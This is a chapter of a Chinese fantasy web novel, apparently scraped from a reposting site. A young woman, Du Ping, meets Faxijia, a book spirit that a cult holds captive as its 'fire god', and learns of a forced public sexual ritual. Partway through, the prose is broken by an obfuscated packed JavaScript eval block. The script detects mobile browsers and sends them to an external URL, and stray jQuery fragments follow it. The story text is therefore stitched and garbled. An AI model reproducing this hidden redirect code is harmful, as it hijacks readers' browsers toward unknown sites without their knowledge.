地上的法西嘉还在捂着脸，他倒下，杜瓶才忽然看到他身后还站着一个红头发的少年。


    少年的脸型方方正正，很像一张扑克牌，不过棱角稍圆滑一些，头发不长，但愣是在脑后扎了个小揪。


    法西嘉倒地后，好几个壮汉冲上来，不知从哪里出现好几个壮汉，将杜瓶一把擒住，压在了地上。


    “臭丫头，竟胆敢冒犯火神大人！”


    “真是吃了熊心豹子胆了！”


    “把她吊在外头抽打一顿！”


    杜瓶听到那些人愤怒的指责声，她眯起眼，不解地看向那满脸悻悻的法西嘉，这家伙……火神大人？


    红发少年缓步走至杜瓶面前，只听一个壮汉问道：“安提，我们该如何处置这个不知礼教的渎神者！”


    “这个问题，倒不如交由火神大人回答吧？”少年看向那狼狈起身的“火神”法西嘉。


    法西嘉轻咳一声，眼神闪烁着，忽然指着杜瓶，语气轻蔑：“杀了她！”


    杜瓶一愣，望着神色冰冷的法西嘉，又看了看那捉摸不透的红发少年。


    那名为“安提”的红发少年“嗯”了一声，视线落在了被擒住的杜瓶身上，杜瓶感到体肤莫名冰了一下。


    不，他不会杀我的。


    我还有用处。


    果不其然，安提懒懒道：“火神大人，杀了这女孩未免有些不现实，毕竟，您与她之间还要举行血融仪式，不是吗？要不，让她为您打扫两日神殿吧？也顺便能让你们多多接触。”


    只见法西嘉直起腰杆，不耐烦地道：“别让她打扰我，其他随便你们！”


    几个壮汉松开了杜瓶，只听红发少年转过身，高声道：“你们，继续把守神殿，不要让闲杂人等乱入，也不要让这里溜出去一只苍蝇！”


    红发少年乜着深沉的瞳子，斜斜望了杜瓶一眼，而后甩甩衣摆便离开了。


    那些身形魁梧的壮汉也纷纷散到了殿宇外部去，神殿之内，一时只剩杜瓶与法西嘉。


    她发现法西嘉原本直起的腰杆在那些人离开后瞬间垮了下去，他脸上也没了那些令人感到不爽的矜傲，双目灰暗，他拍着红袍上的灰尘，要往神殿内走去。


    杜瓶跟在他身后，她还有很多话想跟他问清楚，与此同时，她顺便观察了一下四周的环境。


    石室的外部，竟然是一个偌大的神殿，神殿以石头堆砌，圆拱穹顶，大殿里头至少有七八根圆柱，上头都漆上了火红的颜色，雕纹正是杜瓶在南火城城门上看到过的三簇火焰纹。


    闪亮的白色大理石地砖倒映着圆形的穹顶与火红的梁柱，使得地面仿佛一团正在熊熊燃烧的炽火。


    “扫帚在大殿的侧门外，你不去打扫跟着我做什么？”法西嘉回头瞅了她一眼。


    “这是什么地方？”


    法西嘉笑了声，“你不是带人来救我的吗？你竟然不知道这是什么地方？”


    “你的残页只知道你被困在这里，并不知道这里具体是什么地方，我们费了很多心思才误入这里。”


    “你来真的？”法西嘉挑挑眉，“真有个残页要来救我？”


    “当然，你自己都不记得了？”


    法西嘉愣了一下，他皱着眉头，好久才缓缓开口：“太久了，我已经在这里生活了太久了。”


    他微叹一口气，“我早就忘了不少事……不过你这么一说，我好像真有了点印象，我以前，是有一页被人偷走了，可那起码得是三十多年前的事情了。”


    他带着她来到了神殿内部的花园内，在花园两侧走廊的外围，还有几个巡视的壮汉，正时不时将视线对准交谈的二人。


    法西嘉找了块大石坐下，杜瓶也没客气，一屁股坐在了他的身边。


    “你刚刚是装的吧？”


    “装什么？”他漫不经心地回答。


    “因为那个叫安提的少年在场，所以你装出一副不想离开这里的模样。”


    “我可没装。”法西嘉哼了声，“我是没打算离开这里，可我不离开是因为那是白费心思，我没法离开这里，永生永世都不可能了。”


    “为什么？”


    “你看到了，那些人把这里里三层外三层地包围着，一只苍蝇都飞不出去。”


    杜瓶蹙起眉，“我不明白，你一个书之恶灵，为什么会被囚禁在这个异教村落，还有，你为什么成了所谓的火神？”


    “说来话长。”法西嘉扶着双膝。


    “那你长话短说吧。”


    法西嘉抱起双臂，“一个凡人还朝我问东问西的，那我问你，你知道焚火之灾吗？”


    “当然知道。”杜瓶点头，这个梅丽丝曾详细与她讲述，“恒火之神在圣都降下神罚拯救了自己的教徒的故事嘛。”


    “那你知不知道这个村子哪儿来的？”


    杜瓶摇头，法西嘉续道：“这个村子的掌控者，正是焚火之灾幸存下来的教徒，故此这里名为恒火村！”


    “恒火村？”杜瓶一怔，“我还以为恒火教早就名存实亡了……当年恒火之神降下神罚一事震惊帝国，他们为什么不借此机会在外面招揽信徒，而是躲在这个犄角旮旯的小地方，供奉……你？”


    “神罚？”


    法西嘉冷笑一声，“你还是太过年轻了，有没有一种可能，那场大火并不是什么神罚，而是他们的神明消亡的余波呢——”


    杜瓶蓦然一震，神明消亡？


    她从未听过这种说法，神明也会消亡吗？那些强大的存在难道不是与天地同寿的吗？


    “好了，我懒得跟你一个小女孩说这么多。”法西嘉上下打量了杜瓶一眼，“与其口口声声说要救我，你还是先关心关心自己吧。”


    杜瓶听到他这话，才忽然想起梅丽丝以及那个红发少年口中的“血融仪式”。


    “那个叫安提的家伙说的血融仪式到底是什么东西？”杜瓶猜测着：“不会是要放我的血来供养你吧？”


    “这种供养的活儿，已经有人干了。”法西嘉勾唇一笑，“除了你以外，那些被传送到这里的人，他们都会用来供养神火。”


    包括梅丽丝……


    杜瓶心沉了下来，她问道：“那我要做什么？”


    “你……”法西嘉上下打量了杜瓶一眼，“我不大确定血融仪式比起供养神火，对你来说是更好还是更糟——你有恋人吗？”


    杜瓶眯起眼，她点点头。


    “我可以确定的是，对你的恋人应该十分糟糕。”法西嘉微微一笑，“血融仪式意味着，我和你需要进行交融与结合。”


    杜瓶：“……”应该不是她心里想的那个结合吧？


    法西嘉好似会读心术一般道：“是的，就是你现在想的那个结合，我们需要爱欲结合以诞生所谓的‘神之子’。”


    “你是说，我得给这个异教生个孩子？”杜瓶不可置信地瞪着眼，“还是和你？”


    法西嘉点点头。


    “可，我是人，你是恶灵，我们不会有生殖隔离吗？”杜瓶抽抽嘴角。


    “生殖隔离是什么？”


    “我俩就不是一个物种，就算你是驴，我是马，也只能生出个骡子！”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117469|182661||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “你骂谁是驴呢？”法西嘉剐着她，他气完认真思索了一下，“不过你说得也有道理，其实我也感觉我俩应该不存在能够孕育后代的情况，你是人类，而我，本体甚至是一本书。”


    是啊，日一本书，或是被一本书日，无论怎么想，杜瓶都难以平衡。


    法西嘉叹了口气：“可恒火村的村长认为你并非凡人，并且坚信，你是比我更接近【领域】的人。”


    “领域？那是什么？”杜瓶满脸疑惑。


    “瞧，你连领域都没听过，怎么看也只是一个凡人，也不知道那些人怎么想的，你到底哪儿体现出神性了……”


    杜瓶忍住挥拳头的冲动，她喊道：“别绕弯子了！赶紧告诉我什么是领域！”


    “你只需要知道，领域是神明存在的空间就可以了。”


    他说得简单，杜瓶却更加云里雾里，不过神明存在的空间这种虚无缥缈的事情，跟她目前的处境应该关系不大吧？


    她问起更加现实的问题：“说起来，这个村子的村长，或者掌控者是谁？是那个叫安提的家伙吗？”


    “安提只是村长命令的执行者。”


    法西嘉徐徐答道：“至于恒火村的村长本人，我也极少见到，那个不苟言笑的老太婆，安提叫她奶奶。”


    “你觉得，我跟那个老奶奶求情会有用吗？”杜瓶不死心地问了句。


    法西嘉一定，蓦地大笑起来，“不妨直接告诉你，自从火神消亡后，这里的人，可比你想象中疯狂多了，那个老太婆更甚，他们一心想要恢复火神的荣光，怎么可能因为你三言两语就放弃？”


    “好吧，那就只能做好最坏的打算了。”杜瓶抽抽嘴角，心想——人要是被逼急了，别说日书了，狗都能日。


    可要是被兰琉斯发现了……杜瓶有点不敢想象。


    “如果你能接受得了，我当然无所谓，毕竟我是恶灵，本就没有道德可言。”法西嘉耸耸肩，“考虑到人类对于性行为的羞耻观念，如果你愿意，这两天可以多和我培养培养感情，毕竟，到时候，我们可是要在众目睽睽之下结合……”


    “等等，你说什么！？”


    杜瓶瞪着眼，“众目睽睽之下？你是说，我们要在众目睽睽之下发生关系？”


    “当然了，这可是‘神圣’的仪式，是要在所有教徒圣洁的目光下举行的。”


    杜瓶：“……”这跟搞□□直播有什么区别？


    好，现在她决定宁死不屈了。


    被烧死也行，她可不能这么屈辱地在大庭广众之下OOXX。


    必须从这里逃走！也必须想办法带走法西嘉！


    杜瓶看向两侧走廊外来来往往的壮汉，她转头注视着法西嘉：“如果你有机会离开这里，你会选择离开吗？”


    法西嘉眼神懒懒的，从他的话语中可以得知，他已经在这里至少呆了三十年了，恐怕，他对于成为一个遭到监禁的“神明”已经习以为常。


    他没有回答杜瓶的问题。


    “法西嘉，残页的你告诉我，对于留在这里，你内心感到很痛苦。”杜瓶目光炯炯，“我认为他说得没错，故作淡定掩盖不了你内心的惊惶——并且，他告诉我，还有一件重要的事等着完整的法西嘉去完成。”


    “但我已经将那些都遗忘了。”法西嘉皱起眉，“或许，那件事没那么重要。”


    “正是因为你与残页的分离才导致了你的遗忘。”杜瓶笃定道，“相信我，那件事一定非常之重要，重要到能让你在这个魔法凋敝的时代，成为存在至今的唯一恶灵。”